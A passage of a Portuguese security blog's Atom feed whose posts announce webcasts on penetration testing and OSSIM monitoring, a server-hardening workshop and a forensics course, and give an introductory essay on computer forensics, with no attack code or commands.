18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;&lt;strong style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Data: 10/03/2011&lt;br /&gt;Horário: Das 20h às 20h30min.&lt;/strong&gt;&lt;/p&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;&lt;strong style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Tópicos que serão abordados nesta edição:&lt;/strong&gt;&lt;/p&gt;&lt;ul style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: disc; font-weight: 400; color: rgb(69, 69, 69); font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; font-size: 12px; line-height: 18px; "&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;Objetivos de um Teste de Invasão&lt;/li&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;O Teste de Invasão tradicional está morto!&lt;/li&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;Fases de um Teste de Invasão&lt;/li&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;Principais Ferramentas&lt;/li&gt;&lt;/ul&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;&lt;strong style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Perguntas que serão respondidas nesta edição:&lt;/strong&gt;&lt;/p&gt;&lt;ul style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: disc; font-weight: 400; color: rgb(69, 69, 69); font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; font-size: 12px; line-height: 18px; "&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;Quais as fases mais importantes de um teste de invasão?&lt;/li&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;Quais as principais ferramentas em um teste de invasão?&lt;/li&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;No que se deve dar mais atenção durante um pentest?&lt;/li&gt;&lt;li style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 1em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 18px; "&gt;Por que fazer um teste de invasão?&lt;/li&gt;&lt;/ul&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;&lt;strong style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Sobre o palestrante:&lt;/strong&gt;&lt;/p&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;Luiz Vieira é Analista de Segurança, atua na área de TI desde 1995, com larga experiência em WEB, Desenvolvimento, Segurança e Linux. É analista de segurança, e trabalha com Proteção de Perímetro, Auditoria, Teste de Invasão e Forense Computacional. Atualmente é Consultor de Segurança da Informação na empresa 4Linux.&lt;/p&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;&lt;span style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 20px; "&gt;&lt;a href="http://www.4linux.com.br/inscricoes/webcast-tutorial-teste-invasao-como-arte-faca-muito-poucas-ferramentas-inscricao.html" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: underline; color: rgb(32, 148, 152); "&gt;Faça sua inscrição gratuita!&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 12px; padding-left: 0px; font-weight: 400; font-size: 12px; color: rgb(69, 69, 69); line-height: 18px; font-family: 'DejaVu Sans', Arial, Helvetica, sans-serif; "&gt;Todos os Webcasts serão disponibilizados depois em forma de &lt;a href="http://www.4linux.com.br/podcast-download" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: underline; color: rgb(32, 148, 152); "&gt;Podcast Download.&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-4544147853426618202?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/4544147853426618202/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-teste-de-invasao-como.html#comment-form' title='5 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4544147853426618202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4544147853426618202'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-tutorial-teste-de-invasao-como.html' title='Webcast Tutorial: Teste de Invasão como Arte: Faça muito com poucas ferramentas'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-986692125531602849</id><published>2011-03-03T10:31:00.001-03:00</published><updated>2011-03-03T10:33:33.450-03:00</updated><title type='text'>Webcast gratuito sobre monitoramento integrado com OSSIM</title><content type='html'>&lt;span style="font-style: italic;"&gt;&lt;/span&gt;Participe do Webcast Tutorial: Monitoramento integrado com OSSIM. O  OSSIM monitora e integra mais de 100 ferramentas diferentes de  monitoramento: desde SNORT à OSSEC e Nagios. Dessa maneira, ele permite  monitorar desde serviços ativos à tentativas de invasão e ações  maliciosas realizadas por usuários, como a varredura de um host em busca  de vulnerabilidades para atacar. &lt;p&gt;  &lt;strong&gt;Data: 03/03/2011&lt;br /&gt; Horário: Das 20h às 20h30min.&lt;/strong&gt;&lt;br /&gt;  &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Tópicos que serão abordados nesta edição:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   Importância do Monitoramento;&lt;/li&gt;&lt;li&gt;   Características do framework OSSIM;&lt;/li&gt;&lt;li&gt;   Ferramentas Integradas e sua importância;&lt;/li&gt;&lt;li&gt;   Compliance com normas ISO;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Perguntas que serão respondidas nesta edição&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;   Como o OSSIM pode ajudar-me à monitorar minha rede?&lt;/li&gt;&lt;li&gt;   Qual a importância da integração de ferramentas de monitoramento?&lt;/li&gt;&lt;li&gt;   Quais as ferramentas o OSSIM utiliza?&lt;/li&gt;&lt;li&gt;   O que pode ser monitorado com o OSSIM?&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;strong&gt;Sobre o palestrante:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;  Luiz Vieira é Analista de Segurança, atua na área de TI desde 1995, com  larga experiência em WEB, Desenvolvimento, Segurança e Linux. É  analista de segurança, e trabalha com Proteção de Perímetro, Auditoria,  Teste de Invasão e Forense Computacional. Atualmente é Consultor de  Segurança da Informação na empresa 4Linux.&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;p&gt;  &lt;span style="font-size: 18px;"&gt;&lt;a href="http://www.4linux.com.br/inscricoes/webcast-tutorial-webcast-tutorial-monitoramento-integrado-ossim-inscricao.html"&gt;Faça sua inscrição gratuita!&lt;/a&gt;&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; Os Webcasts são divulgados posteriormente em forma de &lt;a href="http://www.4linux.com.br/podcasts"&gt;Podcast Download.&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-986692125531602849?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/986692125531602849/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-gratuito-sobre-monitoramento.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/986692125531602849'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/986692125531602849'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/webcast-gratuito-sobre-monitoramento.html' title='Webcast gratuito sobre monitoramento integrado com OSSIM'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8616448087632726369</id><published>2011-02-13T22:56:00.000-02:00</published><updated>2011-02-13T22:57:42.197-02:00</updated><title type='text'>Workshop Fundamentos de Segurança e Hardening de Servidores - Gratuito</title><content type='html'>&lt;p class="western" lang="pt-BR" align="justify"&gt; &lt;span style="font-weight: bold;"&gt;Duração&lt;/span&gt;: 3 horas&lt;/p&gt; &lt;p class="western" lang="pt-BR" align="justify"&gt; &lt;span style="font-weight: bold;"&gt;Data&lt;/span&gt;: 15/02/2011&lt;/p&gt; &lt;p class="western" lang="pt-BR" align="justify"&gt; &lt;span style="font-weight: bold;"&gt;Horário&lt;/span&gt;: das 15 às 18h&lt;/p&gt; &lt;p class="western" align="justify"&gt;&lt;span lang="pt-BR"&gt;&lt;span style="font-weight: bold;"&gt;Pré requisito&lt;/span&gt;: T&lt;/span&gt;er conhecimento de utilização de Linux e uma máquina virtual configurada com o Debian Linux.&lt;/p&gt; &lt;p class="western" lang="pt-BR" align="justify"&gt;  O aluno aprenderá sobre a importância da segurança da informação e como  podemos aplicá-la em nosso ambiente computacional, através do hardening  de servidores. O aluno também aprenderá como utilizar a norma ISO 27002  para fundamentar controles de segurança aplicados nos servidores, bem  como identificar, de acordo com o contexto, que tipo de controle será  necessário.&lt;/p&gt;&lt;a href="http://www.4linux.com.br/workshop-fundamentos-de-seguranca-e-hardening-de-servidores"&gt;Inscreva-se aqui. &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8616448087632726369?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8616448087632726369/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/02/workshop-fundamentos-de-seguranca-e.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8616448087632726369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8616448087632726369'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/02/workshop-fundamentos-de-seguranca-e.html' title='Workshop Fundamentos de Segurança e Hardening de Servidores - Gratuito'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-6700843456428480947</id><published>2011-02-09T09:04:00.002-02:00</published><updated>2011-02-09T09:10:46.287-02:00</updated><title type='text'>Livros técnicos grátis</title><content type='html'>Pessoal, tem um site muito interessante que todos os meses sorteia 101 livros técnicos grátis, bastando que se cadastre no site e adicione os livros que gostaria de ganhar em sua lista de desejos. E o melhor, até o envio é grátis independente do país onde mora!&lt;br /&gt;&lt;br /&gt;O link para o site é: &lt;a href="http://www.101ftb.com/?rid=K90Q50N172"&gt;http://www.101ftb.com/?rid=K90Q50N172&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aproveitem a oportunidade e vamos ganhar livros!&lt;br /&gt;&lt;br /&gt;&lt;span class="wrap"&gt;&lt;br /&gt;          &lt;h4&gt;&lt;a target="_blank" href="http://101ftb.com/K90Q50N172"&gt;WIN FREE Tech Books!&lt;/a&gt;&lt;/h4&gt;&lt;br /&gt;          &lt;p&gt;&lt;img class="icon" src="http://www.101ftb.com/images/bannersx/101ftb-icon.gif" alt="101ftb-icon" height="43" width="64" /&gt;Why pay for Tech Books when you can get them for FREE! 101FTB.com raffles 101 Tech Books each month. Join Now http://101ftb.com/K90Q50N172&lt;/p&gt;&lt;br /&gt;          &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-6700843456428480947?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/6700843456428480947/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/02/livros-tecnicos-gratis.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6700843456428480947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6700843456428480947'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/02/livros-tecnicos-gratis.html' title='Livros técnicos grátis'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5892532226236466143</id><published>2011-02-08T10:57:00.000-02:00</published><updated>2011-02-08T10:59:13.232-02:00</updated><title type='text'>Forense Computacional - Conceitos Iniciais - Parte 2</title><content type='html'>&lt;p&gt;As atividades que  envolvem tecnologia tornaram-se parte de nossa vida diária, assim como de quase  todas as pessoas ao redor do mundo inteiro.&lt;br /&gt;&lt;br /&gt; A partir dessa  percepção, podemos compreender o nível de importância da forense digital, pois  de acordo com informações do FBI, 85% das empresas e governos, já detectaram  falhas e vulnerabilidades em seus sistemas. E por conta dessa informação,  entendemos o porque dos EUA sofrerem prejuízos de mais de 10 bilhões de dólares  por causa do crime digital.&lt;/p&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;strong&gt;Definição&lt;/strong&gt;&lt;/p&gt;A forense digital, é uma  ciência ou técnica relativamente recente no campo da segurança digital , pois  poucas décadas no separam do surgimento do computador de demais dispositivos  tecnológicos que poderiam ser utilizados em crimes digitais.&lt;br /&gt;&lt;p&gt; Essa ciência inclui a preservação, coleta,  confirmação, identificação, análise, cópia e a apresentação de informação sobre  a atividade maliciosa. E o processo de investigação é que nos provê  as informações necessárias para a análise  forense, que vai nos levar à conclusão final que poderá servir até mesmo como  base para uma decisão judicial.&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Investigação digital&lt;/h3&gt;“&lt;em&gt;Uma série metódica de técnicas e procedimentos para coletar evidências  de um sistema computadorizado, de dispositivos de armazenamento ou de mídia digital,  que podem ser apresentadas em um foro de uma forma coerente e formato  inteligível&lt;/em&gt;”.  - Dr. H. B. Wolf&lt;br /&gt;&lt;br /&gt;&lt;p&gt; A investigação digital é um processo onde uma  hipótese é desenvolvida e testada para responder algumas questões à respeito de  uma ocorrência digital .&lt;br /&gt;&lt;br /&gt; As informações  utilizadas durante a recriação do cenário, são coletadas ao longo do processo  de investigação, em uma de suas fases iniciais. Com tais informações, é  possível compreender o que ocorreu, como ocorreu e até mesmo o objetivo por  detrás das ações do responsável pelo comprometimento do artefato digital.&lt;br /&gt;&lt;br /&gt;  E a investigação digital tem como objetivo  suportar ou desmentir uma hipótese apresentada por uma análise inicial, e  muitas vezes superficial, do cenário comprometido.&lt;/p&gt;&lt;strong&gt;&lt;br /&gt;Investigação digital X Forense digital.&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;Por mais que pareça  incoerente e estranho, a investigação digital difere da forense digital em  inúmeros pontos do processo. Apesar de o objetivo central ser praticamente o  mesmo.&lt;br /&gt;&lt;br /&gt;  A principal diferença entre a investigação  digital e a forense digital é a parte legal.   Pois em um processo de análise forense existe uma preocupação legal, não  só uma preocupação técnica , ao longo de todo o processo. Essa preocupação  legal deve-se ao objetivo final de cada uma dessas operações. A análise forense  procura chegar numa conclusão final, que permita apresentar um relatório com  provas bem fundamentadas e amparadas nas leis vigentes daquele país, pois o  mesmo será utilizado para embasar uma decisão judicial, que precisa estar de  acordo com os aspectos legais de um processo válido. Do contrário, a  investigação não alcançará seu objetivo, que é fundamentar ou desmentir uma  hipótese apresentada durante a análise do caso.&lt;br /&gt;&lt;br /&gt;  Pelo fato da forense digital ser algo recente,  as interpretações das leis podem mudar, bem como a reação às novas ameaças. O  que acaba dificultando o processo de investigação, pois ainda se utiliza leis  de um paradigma antigo, para enquadrar crimes ocorridos em um paradigma  completamente diferente, com artefatos diferentes, objetivos e métodos  diversos.&lt;/p&gt;Já  a investigação digital tem um foco diverso, mais voltado para as técnicas e  ferramentas utilizadas do que ao aspecto legal de um processo judicial. Isso  permite ao perito focar seu trabalho em descobrir e analisar as evidências de  forma mais técnica e aprofundada, não se preocupando em demasia com os apectos  legais de todo o processo.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;História&lt;/h3&gt;A origem da forense  computacional, remonta à década de 80, quando os computadores tornam-se mais  populares, principalmente em países de primeiro mundo.&lt;br /&gt;&lt;p&gt;Em 1984, o CART surgiu,  como resposta do FBI aos incidentes computacionais cada vez mais frequentes com  o surgimento da ARPA NET. O CART é o Computer Analysis and Response Team, o  primeiro grupo de resposta a incidentes, surgido com o objetivo de lidar com  crimes computacionais.&lt;br /&gt;&lt;br /&gt;Em 1991, ocorre o  primeiro encontro de International Law Enforcement, organizado para conduzir a  discussão sobre forense computacional e a necessidade de padronizar uma  metodologia de atuação.&lt;br /&gt;&lt;br /&gt;Logo depois, em 1997, o  Scientific Working Group on Digital Evidence (SWGDE) foi estabelecido, com o  objetivo de desenvolver a padronização discutida no evente do 1994.&lt;br /&gt;&lt;br /&gt;E em 2001, ocorreu o  primeiro Digital Forensic Research Workshop, que atualmente possui uma periodicidade  anual, e conta com palestrantes de diversos lugares, assim como desafios onde  qualquer pessoa pode participar, para praticar e testar seus conhecimentos de  forense computacional. Mais informações sobre as várias edições ocorridas podem  ser encontradas em &lt;a href="http://www.dfrws.org/"&gt;http://www.dfrws.org/&lt;/a&gt;  .&lt;/p&gt;&lt;br /&gt;&lt;strong&gt;Definição&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;De acordo com Steve  Hailey, do Cybersecurity Institute, forense computacional é:&lt;/p&gt;“&lt;em&gt;Preservação, identificação, coleta, interpretação e documentação de  evidências computacionais, incluindo as regras de evidência, processo legal,  integridade da evidência, relatório factual da evidência e provisão de opinião  de especialista em uma côrte judicial, ou outro tipo de processo administrativo  e/ou legal com relação ao que foi encontrado&lt;/em&gt;”.&lt;br /&gt;&lt;p&gt;  A área de forense  computacional é completamente diferente de todas as áreas de segurança, e  também de outras áreas da ciência forense, devido ao modo como uma investigação  deve ser levada à cabo.&lt;br /&gt;&lt;br /&gt; E diferentemente das  outras áreas de segurança, presta muita atenção aos aspectos legais e as leis  vigentes no país onde se conduz a investigação.&lt;br /&gt;&lt;br /&gt; O mais interessante da  forense computacional, é que além de poder ser utilizada no trabalho como  consultor e perito, também pode ser utilizada para proteger sua organização,  principalmente quando existe um grupo de resposta a incidentes, com  profissionais preparados para atuar na linha de frente, como equipe de resposta  à ataques digitais.&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Problemas concernentes à Forense Computacional&lt;/h3&gt;Como a forense computacional é uma área  relativamente nova, até mesmo por conta do pouco tempo da popularização dos  computadores, não há possibilidade de perfeição em seus métodos e formas de  atuação.&lt;br /&gt;&lt;p&gt;  Por conta disso, podemos  enumerar alguns pontos falhos dessa área, que com o tempo certamente serão  melhorados:&lt;/p&gt;&lt;ul&gt;&lt;br /&gt; &lt;li&gt;Ainda, é mais uma arte do que ciência;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Ainda está em seus estados iniciais de  desenvolvimento;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Há pouco conhecimento teórico sobre o qual as  hipóteses empíricas são baseadas;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Há falta de treinamento apropriado;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Não há padronização de ferramentas.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p&gt;Essas são alguns dos  problemas atuais dessa área. No entanto, o desenvolvimento de pesquisas na  área, em pouco tempo, resolverão os mesmos.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5892532226236466143?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5892532226236466143/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/02/forense-computacional-conceitos.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5892532226236466143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5892532226236466143'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/02/forense-computacional-conceitos.html' title='Forense Computacional - Conceitos Iniciais - Parte 2'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8350054898589378182</id><published>2011-02-01T18:48:00.003-02:00</published><updated>2011-02-01T18:55:17.797-02:00</updated><title type='text'>Participação no 2º CNASI Courses &amp; Training, em Brasília</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Para quem tiver interesse na área de Forense Computacional, e estiver em Brasília no final de fevereiro, estarei por lá ministrando um curso de 6h no evento 2º CNASI Courses &amp;amp; Training, dia 21/02, cujo título é: "&lt;span class="f10vb"&gt;&lt;span style="color:blue;"&gt;&lt;span style="font-weight: bold;"&gt;Forense Computacional com Software Livre&lt;/span&gt;".&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;Acessem a página do evento e vejam o conteúdo do curso: &lt;a href="http://www.cnasi.com.br/training/df/"&gt;http://www.cnasi.com.br/training/df/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Espero encontrá-los por lá!&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;&lt;br /&gt;Luiz&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8350054898589378182?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8350054898589378182/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' 